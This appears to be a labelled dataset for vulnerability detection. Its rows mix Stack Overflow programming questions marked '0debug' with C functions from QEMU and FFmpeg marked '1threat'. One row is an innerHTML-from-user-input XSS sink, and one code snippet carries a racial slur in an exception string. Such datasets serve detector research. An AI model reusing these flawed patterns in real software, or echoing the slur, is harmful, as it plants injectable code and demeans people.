problem
stringlengths
26
131k
labels
class label
2 classes
I continuously receive `Invalid HTTP_HOST header` error email after I upgrade my django site from http to https : <p>Recently, I upgrade one of my django sites from http to https. However, after that, I continuously receive <code>Invalid HTTP_HOST header</code> error email while before I never received such type of emails.</p> <p>Here are some log messages:</p> <blockquote> <p>[Django] ERROR (EXTERNAL IP): Invalid HTTP_HOST header: '123.56.221.107'. You may need to add '123.56.221.107' to ALLOWED_HOSTS.</p> <hr> <p>[Django] ERROR (EXTERNAL IP): Invalid HTTP_HOST header: 'www.sgsrec.com'. You may need to add 'www.sgsrec.com' to ALLOWED_HOSTS.</p> <hr> <p>[Django] ERROR (EXTERNAL IP): Invalid HTTP_HOST header: 'sgsrec.com'. You may need to add 'sgsrec.com' to ALLOWED_HOSTS.</p> <p>Report at /apple-app-site-association Invalid HTTP_HOST header: ‘sgsrec.com’. You may need to add ‘sgsrec.com’ to ALLOWED_HOSTS.</p> <hr> <p>Invalid HTTP_HOST header: ‘www.pythonzh.cn’. You may need to add ‘www.pythonzh.cn’ to ALLOWED_HOSTS.</p> <p>Report at / Invalid HTTP_HOST header: ‘www.pythonzh.cn’. You may need to add ‘www.pythonzh.cn’ to ALLOWED_HOSTS.</p> <p>Request Method: GET Request URL: <a href="http://www.pythonzh.cn/" rel="noreferrer">http://www.pythonzh.cn/</a> Django Version: 1.10.6</p> <hr> <p>[Django] ERROR (EXTERNAL IP): Invalid HTTP_HOST header: 'pythonzh.cn'. You may need to add 'pythonzh.cn' to ALLOWED_HOSTS.</p> </blockquote> <p><strong>What the strange thing is that I only change my blog site <code>www.zmrenwu.com</code> nginx configuration, but seems all of my sites which hosted on 123.56.221.107 are effected.</strong></p> <p>Of cause, I set ALLOWED_HOSTS correctly:</p> <pre><code>ALLOWED_HOSTS = ['.zmrenwu.com'] ALLOWED_HOSTS = ['.sgsrec.com'] ALLOWED_HOSTS = ['.pythonzh.cn'] </code></pre> <p>Nginx configuration of my blog site <code>www.zmrenwu.com</code>:</p> <pre><code>server { charset utf-8; server_name zmrenwu.com www.zmrenwu.com; listen 80; return 301 https://www.zmrenwu.com$request_uri; } server { charset utf-8; server_name zmrenwu.com; listen 443; ssl on; ssl_certificate /etc/ssl/1_www.zmrenwu.com_bundle.crt; ssl_certificate_key /etc/ssl/2_www.zmrenwu.com.key; return 301 https://www.zmrenwu.com$request_uri; } server { charset utf-8; listen 443; server_name www.zmrenwu.com; ssl on; ssl_certificate /etc/ssl/1_www.zmrenwu.com_bundle.crt; ssl_certificate_key /etc/ssl/2_www.zmrenwu.com.key; location /static { alias /home/yangxg/sites/zmrenwu.com/blogproject/static; } location /media { alias /home/yangxg/sites/zmrenwu.com/blogproject/media; } location / { proxy_set_header Host $host; proxy_pass http://unix:/tmp/zmrenwu.com.socket; </code></pre> <p>Why that happened? And How could I solve this issue?</p>
0debug
I can't connect to my SQL database. : <p>This is the code I've been using. And when I open it always says "Cannot connect to the server"</p> <p>Please help me</p> <pre><code>&lt;?php define('HOST','localhost'); define('USER','root'); define('PASSWORD',''); define('DATABASE','trialdb'); $link = mysqli_connect(HOST,USER,PASSWORD,DATABASE); mysqli_select_db($link,DATABASE); if (mysqli_connect(HOST,USER,PASSWORD,DATABASE)) { die("Cannot connect to the server!"); } else { echo "Success! You are connected to the server!&lt;br /&gt;"; } if (mysqli_select_db($link,DATABASE)) { echo "Success! You are now connected to the database."; } else { die ("Cannot connect to the database!"); } ?&gt; </code></pre>
0debug
static int v9fs_synth_renameat(FsContext *ctx, V9fsPath *olddir, const char *old_name, V9fsPath *newdir, const char *new_name) { errno = EPERM; return -1; }
1threat
How to apply css class to a component element when it's created by router-outlet? : <p>I have DOM that looks something like this:</p> <pre><code>&lt;app&gt; &lt;router-outlet&gt;&lt;/router-outlet&gt; &lt;project&gt;...&lt;/project&gt; &lt;/app&gt; </code></pre> <p>where <code>project</code> element is inserted by the router.</p> <p>How do I add a class to this element?</p>
0debug
static void bdrv_aio_bh_cb(void *opaque) { BlockAIOCBSync *acb = opaque; if (!acb->is_write && acb->ret >= 0) { qemu_iovec_from_buf(acb->qiov, 0, acb->bounce, acb->qiov->size); } qemu_vfree(acb->bounce); acb->common.cb(acb->common.opaque, acb->ret); qemu_bh_delete(acb->bh); acb->bh = NULL; qemu_aio_unref(acb); }
1threat
How can i get the ip address of the local system in angular 6 : In an angular project, I want to capture the IP address of the local system
0debug
phplist on Ubuntu 16.04.1 server - Initialise the Database no reaction : I got a new server with Ubuntu 16.04.1 installed. It comes with php7 I installed phplist-3.2.5 in the root of the host pr.xxx.com I tried in the config file: $pageroot = '/'; and $pageroot = ''; http://pr.xxx.com/admin let me fill out the PhpList initialisation, but the button [Continue] does not show me any reaction. No log file (syslog, apache error) gives me a clue. login to the mysql shows that the table has not been created either. Maybe related: On the right side I get the information: Error on line 66 of /var/www/pr.xxx.com/admin/ui/dressprow/onyx-rss.php: PHP's XML Extension is not loaded or available. How can I track down this problem?
0debug
"unsafely-treat-insecure-origin-as-secure" flag is not working on Chrome : <p>I am using geo-location for a site running locally on my machine using HTTP on Chrome. However this does not work as I am running on HTTP as opposed to HTTPS. </p> <p>On the console it says:</p> <pre><code>getCurrentPosition() and watchPosition() no longer work on insecure origins. To use this feature, you should consider switching your application to a secure origin, such as HTTPS. See https://sites.google.com/a/chromium.org/dev/Home/chromium-security/deprecating-powerful-features-on-insecure-origins for more details. </code></pre> <p>Accoriding to <a href="https://sites.google.com/a/chromium.org/dev/Home/chromium-security/deprecating-powerful-features-on-insecure-origins" rel="noreferrer">Deprecating Powerful Features on Insecure Origins</a> its says to start chrome using <code>--unsafely-treat-insecure-origin-as-secure="http://example.com"</code> flag. The command I ran was similar to:</p> <pre><code>chrome.exe --unsafely-treat-insecure-origin-as-secure="http://hello.app" </code></pre> <p>However, the same error message still appears.</p> <p>How can I fix this issue.</p>
0debug
User lacks permission to complete this action. You need to have 'AddPackage' : <p>I get an error:</p> <pre><code>User XXX lacks permission to complete this action. You need to have 'AddPackage' </code></pre> <p>when trying to push a nuget package to Azure DevOps artifacts. I am the administrator This is the stage:</p> <pre><code> - stage: displayName: 'Release' condition: succeeded() jobs: - job: 'Publish' displayName: 'Publish nuGet Package' steps: - download: current artifact: $(PIPELINE_ARTIFACT_NAME) displayName: 'Download pipeline artifact' - script: ls $(PATH_PIPELINE_ARTIFACT_NAME) displayName: 'Display contents of downloaded articacts path' - task: NuGetAuthenticate@0 displayName: 'Authenticate in NuGet feed' - script: dotnet nuget push $(PATH_PIPELINE_ARTIFACT_NAME)/**/*.nupkg --source $(NUGET_FEED) --api-key $(NUGET_API_KEY) displayName: 'Uploads nuGet packages' </code></pre> <p>And the exact error:</p> <pre><code>error: Response status code does not indicate success: 403 (Forbidden - User '4a2eb786-540d-4690-a12b-013aec2c86e5' lacks permission to complete this action. You need to have 'AddPackage'. (DevOps Activity ID: XXXXXXX-6DF9-4A98-8A4E-42C556C6FC56)). ##[error]Bash exited with code '1'. Finishing: Uploads nuGet packages </code></pre> <p>The git repo is in GitHub. Not sure who is considered to be the user but I don't know which other permissions to modify</p>
0debug
String is equal to an If statement value and yet doesn't work, need help ASAP : I have problem with the following code: if finalName == "London, GB" { let londonImage = UIImage(named: "united-kingdom-1043062.jpg") imageViewPage1.image = londonImage } if finalName == "Novaya Gollandiya, RU" { let StPetersbourgImage = UIImage(named: "architecture-995613_1920.jpg") imageViewPage1.image = StPetersbourgImage } if finalName == "Berlin, DE" { let BerlinImage = UIImage(named: "siegessaule-200714_1920.jpg") imageViewPage1.image = BerlinImage } if finalName == "Tel Aviv, IL" { let TelAvivImage = UIImage(named: "buildings-89111.jpg") imageViewPage1.image = TelAvivImage } else { let elseImage = UIImage(named: "sun-203792.jpg") imageViewPage1.image = elseImage } } I already debugged and the value is "Berlin, DE" and it still does the else instead of the finalName == "Berlin, DE", can anyone help me?
0debug
recognizing button click in android : i have seted up button1 as with id button and button two with button2 id... now here is what happening that is going out of my mind i placed this code and called a switch statment for each button under onButtonClick(view v) but when i'm clicking any button the same thing is happening either on this code addition is happening for the both buttons. :( help me public void onButtonClick(View v) { TextView tx = (TextView) findViewById(R.id.resultT); EditText e1 = (EditText) findViewById(R.id.fNum); EditText e2 = (EditText) findViewById(R.id.sNum); TextView t1 = (TextView) findViewById(R.id.result); Button b1 = (Button) findViewById(R.id.button); Button b2 = (Button) findViewById(R.id.button2); int numF = Integer.parseInt(e1.getText().toString()); int numS = Integer.parseInt(e2.getText().toString()); int sum = numF + numS; int mux = numF * numS; switch (v.getId()) { case R.id.button: { tx.setText(Integer.toString(mux)); t1.setText(Integer.toString(mux)); } case R.id.button2: { tx.setText(Integer.toString(sum)); t1.setText(Integer.toString(sum)); } break; default: throw new RuntimeException("I this you just places your dick in wrong hole nigga!"); } } }
0debug
Could not load file or assembly 'Microsoft.Office.Interop.Excel, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c' : <p>This is not duplicate read full question</p> <p>I have console application.</p> <p>here I want to export data set value to excel </p> <p>for that i going to use this i have used microsoft.office.interop.excel.dll</p> <p>and and using this namespace</p> <p>using Excel = Microsoft.Office.Interop.Excel;</p> <p>this is my excel export code</p> <pre><code> private static bool ExportDataTableToExcel(DataTable dt, string filepath) { Excel.Application oXL; Excel.Workbook oWB; Excel.Worksheet oSheet; Excel.Range oRange; try { oXL = new Excel.Application(); oXL.Visible = true; oXL.DisplayAlerts = false; oWB = oXL.Workbooks.Add(Missing.Value); oSheet = (Excel.Worksheet)oWB.ActiveSheet; oSheet.Name = "Data"; int rowCount = 1; foreach (DataRow dr in dt.Rows) { rowCount += 1; for (int i = 1; i &lt; dt.Columns.Count + 1; i++) { // Add the header the first time through if (rowCount == 2) { oSheet.Cells[1, i] = dt.Columns[i - 1].ColumnName; } oSheet.Cells[rowCount, i] = dr[i - 1].ToString(); } } oRange = oSheet.get_Range(oSheet.Cells[1, 1], oSheet.Cells[rowCount, dt.Columns.Count]); oRange.EntireColumn.AutoFit(); oSheet = null; oRange = null; oWB.SaveAs(filepath, Excel.XlFileFormat.xlWorkbookNormal, Missing.Value, Missing.Value, Missing.Value, Missing.Value, Excel.XlSaveAsAccessMode.xlExclusive, Missing.Value, Missing.Value, Missing.Value, Missing.Value, Missing.Value); oWB.Close(Missing.Value, Missing.Value, Missing.Value); oWB = null; oXL.Quit(); } catch { throw; } finally { GC.WaitForPendingFinalizers(); GC.Collect(); GC.WaitForPendingFinalizers(); GC.Collect(); } return true; } </code></pre> <p>when I run my code i am getting error</p> <p>Could not load file or assembly 'office, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c' or one of its dependencies. The system cannot find the file specified.</p> <p>i am not installed ms office in my pc.</p> <p>I thought I not installed MSOffice in my pc so that only i am getting error.</p> <p>if this is not error I made error in my code can anyone tell me</p>
0debug
convert dollar into Indian rupee : Below two table I have with sample data. Table A contains dollar rate(into Indian rupee) as per year and Table B contains amount per year and I want to convert dollar into rupee as per year. Table A Rate Year 47 2001 49 2003 55 2004 Table B Amt Year 25$ 2001 34$ 2002 Question : for first record(year 2001) we have entry in both tables so we can do this easily by using below query sel A.Rate*B.Amt from A,B where B.year=A.year But for second record(i.e year 2002) we do not have entry in table A (which is rate table) so for these kind cases I want to use rate value from previous year (i.e : 47 rupee from year 2001)
0debug
void vnc_hextile_set_pixel_conversion(VncState *vs, int generic) { if (!generic) { switch (vs->ds->surface->pf.bits_per_pixel) { case 8: vs->send_hextile_tile = send_hextile_tile_8; break; case 16: vs->send_hextile_tile = send_hextile_tile_16; break; case 32: vs->send_hextile_tile = send_hextile_tile_32; break; } } else { switch (vs->ds->surface->pf.bits_per_pixel) { case 8: vs->send_hextile_tile = send_hextile_tile_generic_8; break; case 16: vs->send_hextile_tile = send_hextile_tile_generic_16; break; case 32: vs->send_hextile_tile = send_hextile_tile_generic_32; break; } } }
1threat
static void tcg_out_op(TCGContext *s, TCGOpcode opc, const TCGArg args[TCG_MAX_OP_ARGS], const int const_args[TCG_MAX_OP_ARGS]) { TCGType ext = (tcg_op_defs[opc].flags & TCG_OPF_64BIT) != 0; TCGArg a0 = args[0]; TCGArg a1 = args[1]; TCGArg a2 = args[2]; int c2 = const_args[2]; #define REG0(I) (const_args[I] ? TCG_REG_XZR : (TCGReg)args[I]) switch (opc) { case INDEX_op_exit_tb: tcg_out_movi(s, TCG_TYPE_I64, TCG_REG_X0, a0); tcg_out_goto(s, tb_ret_addr); break; case INDEX_op_goto_tb: #ifndef USE_DIRECT_JUMP #error "USE_DIRECT_JUMP required for aarch64" #endif assert(s->tb_jmp_offset != NULL); s->tb_jmp_offset[a0] = tcg_current_code_size(s); tcg_out_goto_noaddr(s); s->tb_next_offset[a0] = tcg_current_code_size(s); break; case INDEX_op_br: tcg_out_goto_label(s, arg_label(a0)); break; case INDEX_op_ld8u_i32: case INDEX_op_ld8u_i64: tcg_out_ldst(s, I3312_LDRB, a0, a1, a2); break; case INDEX_op_ld8s_i32: tcg_out_ldst(s, I3312_LDRSBW, a0, a1, a2); break; case INDEX_op_ld8s_i64: tcg_out_ldst(s, I3312_LDRSBX, a0, a1, a2); break; case INDEX_op_ld16u_i32: case INDEX_op_ld16u_i64: tcg_out_ldst(s, I3312_LDRH, a0, a1, a2); break; case INDEX_op_ld16s_i32: tcg_out_ldst(s, I3312_LDRSHW, a0, a1, a2); break; case INDEX_op_ld16s_i64: tcg_out_ldst(s, I3312_LDRSHX, a0, a1, a2); break; case INDEX_op_ld_i32: case INDEX_op_ld32u_i64: tcg_out_ldst(s, I3312_LDRW, a0, a1, a2); break; case INDEX_op_ld32s_i64: tcg_out_ldst(s, I3312_LDRSWX, a0, a1, a2); break; case INDEX_op_ld_i64: tcg_out_ldst(s, I3312_LDRX, a0, a1, a2); break; case INDEX_op_st8_i32: case INDEX_op_st8_i64: tcg_out_ldst(s, I3312_STRB, REG0(0), a1, a2); break; case INDEX_op_st16_i32: case INDEX_op_st16_i64: tcg_out_ldst(s, I3312_STRH, REG0(0), a1, a2); break; case INDEX_op_st_i32: case INDEX_op_st32_i64: tcg_out_ldst(s, I3312_STRW, REG0(0), a1, a2); break; case INDEX_op_st_i64: tcg_out_ldst(s, I3312_STRX, REG0(0), a1, a2); break; case INDEX_op_add_i32: a2 = (int32_t)a2; case INDEX_op_add_i64: if (c2) { tcg_out_addsubi(s, ext, a0, a1, a2); } else { tcg_out_insn(s, 3502, ADD, ext, a0, a1, a2); } break; case INDEX_op_sub_i32: a2 = (int32_t)a2; case INDEX_op_sub_i64: if (c2) { tcg_out_addsubi(s, ext, a0, a1, -a2); } else { tcg_out_insn(s, 3502, SUB, ext, a0, a1, a2); } break; case INDEX_op_neg_i64: case INDEX_op_neg_i32: tcg_out_insn(s, 3502, SUB, ext, a0, TCG_REG_XZR, a1); break; case INDEX_op_and_i32: a2 = (int32_t)a2; case INDEX_op_and_i64: if (c2) { tcg_out_logicali(s, I3404_ANDI, ext, a0, a1, a2); } else { tcg_out_insn(s, 3510, AND, ext, a0, a1, a2); } break; case INDEX_op_andc_i32: a2 = (int32_t)a2; case INDEX_op_andc_i64: if (c2) { tcg_out_logicali(s, I3404_ANDI, ext, a0, a1, ~a2); } else { tcg_out_insn(s, 3510, BIC, ext, a0, a1, a2); } break; case INDEX_op_or_i32: a2 = (int32_t)a2; case INDEX_op_or_i64: if (c2) { tcg_out_logicali(s, I3404_ORRI, ext, a0, a1, a2); } else { tcg_out_insn(s, 3510, ORR, ext, a0, a1, a2); } break; case INDEX_op_orc_i32: a2 = (int32_t)a2; case INDEX_op_orc_i64: if (c2) { tcg_out_logicali(s, I3404_ORRI, ext, a0, a1, ~a2); } else { tcg_out_insn(s, 3510, ORN, ext, a0, a1, a2); } break; case INDEX_op_xor_i32: a2 = (int32_t)a2; case INDEX_op_xor_i64: if (c2) { tcg_out_logicali(s, I3404_EORI, ext, a0, a1, a2); } else { tcg_out_insn(s, 3510, EOR, ext, a0, a1, a2); } break; case INDEX_op_eqv_i32: a2 = (int32_t)a2; case INDEX_op_eqv_i64: if (c2) { tcg_out_logicali(s, I3404_EORI, ext, a0, a1, ~a2); } else { tcg_out_insn(s, 3510, EON, ext, a0, a1, a2); } break; case INDEX_op_not_i64: case INDEX_op_not_i32: tcg_out_insn(s, 3510, ORN, ext, a0, TCG_REG_XZR, a1); break; case INDEX_op_mul_i64: case INDEX_op_mul_i32: tcg_out_insn(s, 3509, MADD, ext, a0, a1, a2, TCG_REG_XZR); break; case INDEX_op_div_i64: case INDEX_op_div_i32: tcg_out_insn(s, 3508, SDIV, ext, a0, a1, a2); break; case INDEX_op_divu_i64: case INDEX_op_divu_i32: tcg_out_insn(s, 3508, UDIV, ext, a0, a1, a2); break; case INDEX_op_rem_i64: case INDEX_op_rem_i32: tcg_out_insn(s, 3508, SDIV, ext, TCG_REG_TMP, a1, a2); tcg_out_insn(s, 3509, MSUB, ext, a0, TCG_REG_TMP, a2, a1); break; case INDEX_op_remu_i64: case INDEX_op_remu_i32: tcg_out_insn(s, 3508, UDIV, ext, TCG_REG_TMP, a1, a2); tcg_out_insn(s, 3509, MSUB, ext, a0, TCG_REG_TMP, a2, a1); break; case INDEX_op_shl_i64: case INDEX_op_shl_i32: if (c2) { tcg_out_shl(s, ext, a0, a1, a2); } else { tcg_out_insn(s, 3508, LSLV, ext, a0, a1, a2); } break; case INDEX_op_shr_i64: case INDEX_op_shr_i32: if (c2) { tcg_out_shr(s, ext, a0, a1, a2); } else { tcg_out_insn(s, 3508, LSRV, ext, a0, a1, a2); } break; case INDEX_op_sar_i64: case INDEX_op_sar_i32: if (c2) { tcg_out_sar(s, ext, a0, a1, a2); } else { tcg_out_insn(s, 3508, ASRV, ext, a0, a1, a2); } break; case INDEX_op_rotr_i64: case INDEX_op_rotr_i32: if (c2) { tcg_out_rotr(s, ext, a0, a1, a2); } else { tcg_out_insn(s, 3508, RORV, ext, a0, a1, a2); } break; case INDEX_op_rotl_i64: case INDEX_op_rotl_i32: if (c2) { tcg_out_rotl(s, ext, a0, a1, a2); } else { tcg_out_insn(s, 3502, SUB, 0, TCG_REG_TMP, TCG_REG_XZR, a2); tcg_out_insn(s, 3508, RORV, ext, a0, a1, TCG_REG_TMP); } break; case INDEX_op_brcond_i32: a1 = (int32_t)a1; case INDEX_op_brcond_i64: tcg_out_brcond(s, ext, a2, a0, a1, const_args[1], arg_label(args[3])); break; case INDEX_op_setcond_i32: a2 = (int32_t)a2; case INDEX_op_setcond_i64: tcg_out_cmp(s, ext, a1, a2, c2); tcg_out_insn(s, 3506, CSINC, TCG_TYPE_I32, a0, TCG_REG_XZR, TCG_REG_XZR, tcg_invert_cond(args[3])); break; case INDEX_op_movcond_i32: a2 = (int32_t)a2; case INDEX_op_movcond_i64: tcg_out_cmp(s, ext, a1, a2, c2); tcg_out_insn(s, 3506, CSEL, ext, a0, REG0(3), REG0(4), args[5]); break; case INDEX_op_qemu_ld_i32: case INDEX_op_qemu_ld_i64: tcg_out_qemu_ld(s, a0, a1, a2, ext); break; case INDEX_op_qemu_st_i32: case INDEX_op_qemu_st_i64: tcg_out_qemu_st(s, REG0(0), a1, a2); break; case INDEX_op_bswap64_i64: tcg_out_rev64(s, a0, a1); break; case INDEX_op_bswap32_i64: case INDEX_op_bswap32_i32: tcg_out_rev32(s, a0, a1); break; case INDEX_op_bswap16_i64: case INDEX_op_bswap16_i32: tcg_out_rev16(s, a0, a1); break; case INDEX_op_ext8s_i64: case INDEX_op_ext8s_i32: tcg_out_sxt(s, ext, MO_8, a0, a1); break; case INDEX_op_ext16s_i64: case INDEX_op_ext16s_i32: tcg_out_sxt(s, ext, MO_16, a0, a1); break; case INDEX_op_ext_i32_i64: case INDEX_op_ext32s_i64: tcg_out_sxt(s, TCG_TYPE_I64, MO_32, a0, a1); break; case INDEX_op_ext8u_i64: case INDEX_op_ext8u_i32: tcg_out_uxt(s, MO_8, a0, a1); break; case INDEX_op_ext16u_i64: case INDEX_op_ext16u_i32: tcg_out_uxt(s, MO_16, a0, a1); break; case INDEX_op_extu_i32_i64: case INDEX_op_ext32u_i64: tcg_out_movr(s, TCG_TYPE_I32, a0, a1); break; case INDEX_op_deposit_i64: case INDEX_op_deposit_i32: tcg_out_dep(s, ext, a0, REG0(2), args[3], args[4]); break; case INDEX_op_add2_i32: tcg_out_addsub2(s, TCG_TYPE_I32, a0, a1, REG0(2), REG0(3), (int32_t)args[4], args[5], const_args[4], const_args[5], false); break; case INDEX_op_add2_i64: tcg_out_addsub2(s, TCG_TYPE_I64, a0, a1, REG0(2), REG0(3), args[4], args[5], const_args[4], const_args[5], false); break; case INDEX_op_sub2_i32: tcg_out_addsub2(s, TCG_TYPE_I32, a0, a1, REG0(2), REG0(3), (int32_t)args[4], args[5], const_args[4], const_args[5], true); break; case INDEX_op_sub2_i64: tcg_out_addsub2(s, TCG_TYPE_I64, a0, a1, REG0(2), REG0(3), args[4], args[5], const_args[4], const_args[5], true); break; case INDEX_op_muluh_i64: tcg_out_insn(s, 3508, UMULH, TCG_TYPE_I64, a0, a1, a2); break; case INDEX_op_mulsh_i64: tcg_out_insn(s, 3508, SMULH, TCG_TYPE_I64, a0, a1, a2); break; case INDEX_op_mov_i32: case INDEX_op_mov_i64: case INDEX_op_movi_i32: case INDEX_op_movi_i64: case INDEX_op_call: default: tcg_abort(); } #undef REG0 }
1threat
document.getElementById('input').innerHTML = user_input;
1threat
How to make corner for Arc : <p>I have made an arc like below. By specifying the Radius, Start angle, End angle </p> <pre><code> CGContextAddArc(ctx, self.frame.size.width/2 , self.frame.size.height/2, self.radius, 2*M_PI, 3*M_PI/2-ToRad(angle), 0); </code></pre> <p>Now <strong>i want to make the corner of arch rounded</strong>. So need of drawing circles on the both ends. Because I'm using frame dimensions giving constants wont work.</p> <p><a href="https://i.stack.imgur.com/Rt3yC.png" rel="noreferrer"><img src="https://i.stack.imgur.com/Rt3yC.png" alt="enter image description here"></a></p>
0debug
KafkaConsumer Java API subscribe() vs assign() : <p>I am new with Kafka Java API and I am working on consuming records from a particular Kafka topic.</p> <p>I understand that I can use method <code>subscribe()</code> to start polling records from the topic. Kafka also provides method <code>assign()</code> if I want to start polling records from selected partitions of the topics.</p> <p>I want to understand if this is the only difference between the two?</p>
0debug
Which solution is better, faster and readable? : <p>ok, problem: "An isogram is a word that has no repeating letters, consecutive or non-consecutive. Implement a function that determines whether a string that contains only letters is an isogram. Assume the empty string is an isogram. Ignore letter case." and I write 2 solutions </p> <p>First solution:</p> <pre class="lang-java prettyprint-override"><code>Scanner scanner = new Scanner(System.in); String string = scanner.next(); long start = System.currentTimeMillis(); char words[] = string.toCharArray(); boolean isIsogram=true; for (int i=(words.length-1); i&gt;=0; i--){ for(int j=0; j&lt;(i-1);j++){ if(words[i]==words[j]){ isIsogram=false; } } } long finish = System.currentTimeMillis(); System.out.println(isIsogram + " time:"+ (finish-start) ); </code></pre> <p>Second solution:</p> <pre class="lang-java prettyprint-override"><code> Scanner scanner = new Scanner(System.in); String string = scanner.next(); long start = System.currentTimeMillis(); boolean isIsogram = (string.length() == string.toLowerCase().chars().distinct().count()); long finish = System.currentTimeMillis(); System.out.println(isIsogram + " time:"+ (finish-start) ); </code></pre> <p>I have tested both solutions and there is results: input: "asd" <br> 1) true time 0 <br> 2) true time 113 </p> <p>and I want to know your ideas and opinion which solution is better? My teacher told me 2 solution is better, but 1 solution takes less time, and I am not sure which is better.....</p>
0debug
static int opt_preset(const char *opt, const char *arg) { FILE *f=NULL; char tmp[1000], tmp2[1000], line[1000]; int i; const char *base[3]= { getenv("HOME"), "/usr/local/share", "/usr/share", }; for(i=!base[0]; i<3 && !f; i++){ snprintf(tmp, sizeof(tmp), "%s/%sffmpeg/%s.ffpreset", base[i], i ? "" : ".", arg); f= fopen(tmp, "r"); if(!f){ char *codec_name= *opt == 'v' ? video_codec_name : *opt == 'a' ? audio_codec_name : subtitle_codec_name; snprintf(tmp, sizeof(tmp), "%s/%sffmpeg/%s-%s.ffpreset", base[i], i ? "" : ".", codec_name, arg); f= fopen(tmp, "r"); } } if(!f && ((arg[0]=='.' && arg[1]=='/') || arg[0]=='/')){ f= fopen(arg, "r"); } if(!f){ fprintf(stderr, "Preset file not found\n"); av_exit(1); } while(!feof(f)){ int e= fscanf(f, "%999[^\n]\n", line) - 1; if(line[0] == '#' && !e) continue; e|= sscanf(line, "%999[^=]=%999[^\n]\n", tmp, tmp2) - 2; if(e){ fprintf(stderr, "Preset file invalid\n"); av_exit(1); } if(!strcmp(tmp, "acodec")){ opt_audio_codec(tmp2); }else if(!strcmp(tmp, "vcodec")){ opt_video_codec(tmp2); }else if(!strcmp(tmp, "scodec")){ opt_subtitle_codec(tmp2); }else opt_default(tmp, tmp2); } fclose(f); return 0; }
1threat
search string from two tables without union single query : <p>I have two table one for activity and another for pages(to store pages created by users), I want to search results based on Activity content as well as page. In result I want records matches the activity content or page title. pages are associated with activity as entity_id(page_id). Please suggest without union as I want to use pagination as well.Thanks</p>
0debug
av_cold struct FFIIRFilterCoeffs* ff_iir_filter_init_coeffs(enum IIRFilterType filt_type, enum IIRFilterMode filt_mode, int order, float cutoff_ratio, float stopband, float ripple) { int i, j; FFIIRFilterCoeffs *c; double wa; double p[MAXORDER + 1][2]; if(filt_type != FF_FILTER_TYPE_BUTTERWORTH || filt_mode != FF_FILTER_MODE_LOWPASS) return NULL; if(order <= 1 || (order & 1) || order > MAXORDER || cutoff_ratio >= 1.0) return NULL; c = av_malloc(sizeof(FFIIRFilterCoeffs)); c->cx = av_malloc(sizeof(c->cx[0]) * ((order >> 1) + 1)); c->cy = av_malloc(sizeof(c->cy[0]) * order); c->order = order; wa = 2 * tan(M_PI * 0.5 * cutoff_ratio); c->cx[0] = 1; for(i = 1; i < (order >> 1) + 1; i++) c->cx[i] = c->cx[i - 1] * (order - i + 1LL) / i; p[0][0] = 1.0; p[0][1] = 0.0; for(i = 1; i <= order; i++) p[i][0] = p[i][1] = 0.0; for(i = 0; i < order; i++){ double zp[2]; double th = (i + (order >> 1) + 0.5) * M_PI / order; double a_re, a_im, c_re, c_im; zp[0] = cos(th) * wa; zp[1] = sin(th) * wa; a_re = zp[0] + 2.0; c_re = zp[0] - 2.0; a_im = c_im = zp[1]; zp[0] = (a_re * c_re + a_im * c_im) / (c_re * c_re + c_im * c_im); zp[1] = (a_im * c_re - a_re * c_im) / (c_re * c_re + c_im * c_im); for(j = order; j >= 1; j--) { a_re = p[j][0]; a_im = p[j][1]; p[j][0] = a_re*zp[0] - a_im*zp[1] + p[j-1][0]; p[j][1] = a_re*zp[1] + a_im*zp[0] + p[j-1][1]; } a_re = p[0][0]*zp[0] - p[0][1]*zp[1]; p[0][1] = p[0][0]*zp[1] + p[0][1]*zp[0]; p[0][0] = a_re; } c->gain = p[order][0]; for(i = 0; i < order; i++){ c->gain += p[i][0]; c->cy[i] = (-p[i][0] * p[order][0] + -p[i][1] * p[order][1]) / (p[order][0] * p[order][0] + p[order][1] * p[order][1]); } c->gain /= 1 << order; return c; }
1threat
Owl Carousel issue with foundation 6 : Can you help me To resolve the JS Conflict to fundation 6 http://zurb.com/university/lessons/adding-on-to-a-great-foundation It did not help me I need use to owl Carousel in foundation. How Can use below JavaScript code <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-js --> $(document).foundation(); jQuery(document).ready(function(){ }); <!-- end snippet --> Thanks
0debug
How safe is JWT? : <p>I am learning about JWT for the security of my project, but I have a question. If I recieve the token correctly after I did the login, but someone else (hacker) in other place steals this specific token, can he access to my session? The server that use JWT authentication is able to detect this and protect me? How?</p>
0debug
Using regex with notepad++ to get specific words only : <p>I'm trying to get export the following format into normal wording format</p> <pre><code>#EXTINF:0 tvg-id="ChannelName" tvg-name="ChannelName" group-title="CATEGORY" tvg-logo="jpglink",AXN http://streamlink.m3u8 </code></pre> <p>im able to do one at time using notepad++ with bookmarks but it can only work if i search for m3u8 or jpg but i can't get the tv-id or tv-name neither group-title name so the export of above format should look like this</p> <p>ChannelName ChannelName CATEGORY jpglink <a href="http://streamlink.m3u8" rel="nofollow">http://streamlink.m3u8</a></p> <p>any help will be appreciated thanks</p>
0debug
static int spapr_vio_busdev_init(DeviceState *qdev) { VIOsPAPRDevice *dev = (VIOsPAPRDevice *)qdev; VIOsPAPRDeviceClass *pc = VIO_SPAPR_DEVICE_GET_CLASS(dev); uint32_t liobn; char *id; if (dev->reg != -1) { VIOsPAPRDevice *other = reg_conflict(dev); if (other) { fprintf(stderr, "vio: %s and %s devices conflict at address %#x\n", object_get_typename(OBJECT(qdev)), object_get_typename(OBJECT(&other->qdev)), dev->reg); return -1; } } else { VIOsPAPRBus *bus = DO_UPCAST(VIOsPAPRBus, bus, dev->qdev.parent_bus); do { dev->reg = bus->next_reg++; } while (reg_conflict(dev)); } if (!dev->qdev.id) { id = vio_format_dev_name(dev); if (!id) { return -1; } dev->qdev.id = id; } dev->qirq = spapr_allocate_msi(dev->vio_irq_num, &dev->vio_irq_num); if (!dev->qirq) { return -1; } liobn = SPAPR_VIO_BASE_LIOBN | dev->reg; dev->dma = spapr_tce_new_dma_context(liobn, pc->rtce_window_size); return pc->init(dev); }
1threat
How to clear out char array with memset : <p>I'm looking for a method to clear a char array similar to how in python you would do the following:</p> <pre><code>buffer = "" </code></pre> <p>Is using memset the best approach for this, or is there another builtin function/method I'm missing?</p> <p>What Ive tried:</p> <pre><code> memset(buf, '\n', sizeof(char)); </code></pre>
0debug
